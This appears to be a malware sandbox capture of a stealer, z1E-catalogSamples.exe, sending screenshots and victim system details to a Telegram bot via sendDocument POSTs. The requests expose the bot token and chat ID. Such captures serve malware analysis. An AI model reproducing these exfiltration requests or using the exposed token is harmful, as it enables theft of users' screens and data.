2024-04-19 17:36:37 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:37 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:37 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:37 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:37 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:37 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 30 34 38 63 32 66 61 39 63 30 63 2d 2d 0d 0a Data Ascii: -----------------------------8dc8048c2fa9c0c--
2024-04-19 17:36:37 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:37 UTC	1485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:37 GMT Content-Type: application/json Content-Length: 1096 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3451,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548197,"document":{"file_name":"user-618321 2024-05-30 01-35-17.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg17ZiKrpQoAAUIdCpMK59DhQpR1Q16SAAK_FwACi1IZUUQDO0wHQoYyAQAHbQADNAQ","file_unique_id":"AQADvxcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg17ZiKrpQoAAUIdCpMK59DhQpR1Q16SAAK_FwACi1IZUUQDO0wHQoYyAQAHbQADNAQ","file_unique_id":"AQADvxcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINe2Yiq6UKAAFCHQqTCufQ4UKUdUNekgACvxcAAotSGVFEAztMB0KGMjQE","file_unique_id":"AgADvxcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 05/30/2024 01:30:16\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49735	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:38 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc8f1ec5eab97f Host: api.telegram.org Content-Length: 67138 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:36:38 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 66 31 65 63 35 65 61 62 39 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 66 31 65 63 35 65 61 62 39 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 31 37 2f 32 30 32 34 20 32 32 3a 33 37 3a 32 34 0a 55 73 65 72 Data Ascii: -----------------------------8dc8f1ec5eab97fContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc8f1ec5eab97fContent-Disposition: form-data; name="caption"New SC Recovered!Time: 06/17/2024 22:37:24User
2024-04-19 17:36:38 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:38 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:38 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:38 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:38 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:38 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 66 31 65 63 35 65 61 62 39 37 66 2d 2d 0d 0a Data Ascii: -----------------------------8dc8f1ec5eab97f--
2024-04-19 17:36:38 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:39 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:39 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3452,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548199,"document":{"file_name":"user-618321 2024-06-17 22-42-31.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg18ZiKrp4xgJXteIbwjjJ_K76X1dqkAAsAXAAKLUhlR3hoLe0TZtGwBAAdtAAM0BA","file_unique_id":"AQADwBcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg18ZiKrp4xgJXteIbwjjJ_K76X1dqkAAsAXAAKLUhlR3hoLe0TZtGwBAAdtAAM0BA","file_unique_id":"AQADwBcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINfGYiq6eMYCV7XiG8I4yfyu-l9XapAALAFwACi1IZUd4aC3tE2bRsNAQ","file_unique_id":"AgADwBcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 06/17/2024 22:37:24\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49736	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:41 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc91ad9f6f5749 Host: api.telegram.org Content-Length: 67138 Expect: 100-continue
2024-04-19 17:36:42 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 31 61 64 39 66 36 66 35 37 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 31 61 64 39 66 36 66 35 37 34 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 32 31 2f 32 30 32 34 20 30 34 3a 34 30 3a 30 37 0a 55 73 65 72 Data Ascii: -----------------------------8dc91ad9f6f5749Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc91ad9f6f5749Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/21/2024 04:40:07User
2024-04-19 17:36:42 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:42 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:42 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:42 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
